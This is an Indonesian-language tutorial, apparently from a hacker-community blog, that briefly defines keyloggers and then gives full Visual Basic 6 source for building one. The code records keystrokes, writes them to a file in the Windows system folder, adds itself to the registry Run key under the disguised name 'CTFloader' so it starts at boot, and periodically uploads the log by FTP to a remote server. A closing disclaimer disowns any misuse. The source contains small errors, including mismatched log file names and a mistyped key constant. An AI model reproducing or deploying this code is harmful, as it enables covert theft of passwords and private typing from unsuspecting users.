KEYLOGGER (KOMUNITAS HACKER) © BSI *VISUAL BASIC*

Defenisi Keylogger 

  Keylogger merupakan sebuah perangkat baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik.

    Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password.

    Keylogger yang berupa hardware besarnya seukuran baterai ukuran AA. Keylogger jenis ini dipasangkan pada ujung keyboard, sehingga mencegat data yang dialirkan dari keyboard ke CPU. Sementara itu, keylogger dalam bentuk perangkat lunak terpasang di dalam komputer dan bekerja secara tersembunyi. Cara sederhana untuk menghindari dampak adanya keylogger pada sistem operasi Microsoft Windows adalah dengan menggunakan fitur on-screen keyboard

1. jalankan VB dan pilih Standard EXE

2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik]

3. tekan CTRL + T untuk membuka Components window

4. centang opsi Microsoft Internet Transfer Control 6.0

5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:

Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long

Const SPI_GETKEYBOARDSPEED = 10

6. kode untuk:

timer1:

‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard

Private Sub Timer1_Timer()

If GetAsyncKeyState(vbKeyA) Then

mated = mated + “a”

ElseIf GetAsyncKeyState(vbKeyB) Then

mated = mated + “b”

ElseIf GetAsyncKeyState(vbKeyC) Then

mated = mated + “c”

ElseIf GetAsyncKeyState(vbKeyD) Then

mated = mated + “d”

ElseIf GetAsyncKeyState(vbKeyE) Then

mated = mated + “e”

ElseIf GetAsyncKeyState(vbKeyF) Then

mated = mated + “f”

ElseIf GetAsyncKeyState(vbKeyG) Then

mated = mated + “g”

ElseIf GetAsyncKeyState(vbKeyH) Then

mated = mated + “h”

ElseIf GetAsyncKeyState(vbKeyI) Then

mated = mated + “i”

ElseIf GetAsyncKeyState(vbKeyJ) Then

mated = mated + “j”

ElseIf GetAsyncKeyState(vbKeyK) Then

mated = mated + “k”

ElseIf GetAsyncKeyState(vbKeyL) Then

mated = mated + “l”

ElseIf GetAsyncKeyState(vbKeyM) Then

mated = mated + “m”

ElseIf GetAsyncKeyState(vbKeyN) Then

mated = mated + “n”

ElseIf GetAsyncKeyState(vbKeyO) Then

mated = mated + “o”

ElseIf GetAsyncKeyState(vbKeyP) Then

mated = mated + “p”

ElseIf GetAsyncKeyState(vbKeyQ) Then

mated = mated + “q”

ElseIf GetAsyncKeyState(vbKeyR) Then

mated = mated + “r”

ElseIf GetAsyncKeyState(vbKeyS) Then

mated = mated + “s”

ElseIf GetAsyncKeyState(vbKeyT) Then

mated = mated + “t”

ElseIf GetAsyncKeyState(vbKeyU) Then

mated = mated + “u”

ElseIf GetAsyncKeyState(vbKeyV) Then

mated = mated + “v”

ElseIf GetAsyncKeyState(vbKeyW) Then

mated = mated + “w”

ElseIf GetAsyncKeyState(vbKeyX) Then

mated = mated + “x”

ElseIf GetAsyncKeyState(vbKeyY) Then

mated = mated + “y”

ElseIf GetAsyncKeyState(vbKeyZ) Then

mated = mated + “z”

ElseIf GetAsyncKeyState(vbKey0) Then

mated = mated + “0″

ElseIf GetAsyncKeyState(vbKey1) Then

mated = mated + “1″

ElseIf GetAsyncKeyState(vbKey2) Then

mated = mated + “2″

ElseIf GetAsyncKeyState(vbKey3) Then

mated = mated + “3″

ElseIf GetAsyncKeyState(vbKey4) Then

mated = mated + “4″

ElseIf GetAsyncKeyState(vbKey5) Then

mated = mated + “5″

ElseIf GetAsyncKeyState(vbKey6) Then

mated = mated + “6″

ElseIf GetAsyncKeyState(vbKey7) Then

mated = mated + “7″

ElseIf GetAsyncKeyState(vbKey8) Then

mated = mated + “8″

ElseIf GetAsyncKeyState(vbKey9) Then

mated = mated + “9″

ElseIf GetAsyncKeyState(vbKeyEscape) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeySpace) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyBack) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyDelete) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyDown) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyShift) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyTab) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyUp) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyRight) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyLeft) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyPageUp) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyPageDown) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF1) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF2) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF3) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF4) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF5) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF6) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF7) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF8) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF9) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF10) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF11) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyF12) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeF13) Then

mated = mated + “”

ElseIf GetAsyncKeyState(vbKeyEnd) Then

mated = mated + “”

End If

End Sub

timer2:

Private Sub Timer2_Timer()

Timer3.Enabled = True

Timer2.Enabled = False

End Sub

timer3:

Private Sub Timer3_Timer()

Timer4.Enabled = True

Timer3.Enabled = False

End Sub

timer4:

Private Sub Timer4_Timer()

Timer5.Enabled = True

Timer4.Enabled = False

End Sub

timer5:

Private Sub Timer5_Timer()

Timer6.Enabled = True

Timer5.Enabled = False

End Sub

timer6:

Private Sub Timer6_Timer()

Dim file As String

    Dim ftpwebsite As String

        account = “Akun_web_mu”

        pswd = “Pass_web_mu”

        ftpwebsite = “ftp://alamat_web_mu.com”

    Inet1.URL = ftpwebsite

    Inet1.UserName = account

    Inet1.Password = pswd

    file = “log.txt”

        Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file

    Do While Inet1.StillExecuting = True

          DoEvents

        Loop

Timer6.Enabled = False

Timer2.Enabled = True

End Sub

Form:

Private Sub Form_Load()

‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan

Set reg = CreateObject(“Wscript.shell”)

reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”

Dim reani As Long

Dim mated As String

SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0

Timer1.Interval = reani + 150

End Sub

Private Sub mated_Change()

Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1

Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “

Close #1

End Sub

      Silahkan Dicoba Menggunakan Visual Basic 6.0....dan Design Sendiri Formnya, karena saya sudah tidak memberikan Desgin untuk Aplikasi yang satu ini.
(*BSIPROGRAMMER...tidak bertanggung jawab atas kesalahgunaan Aplikasi ini...)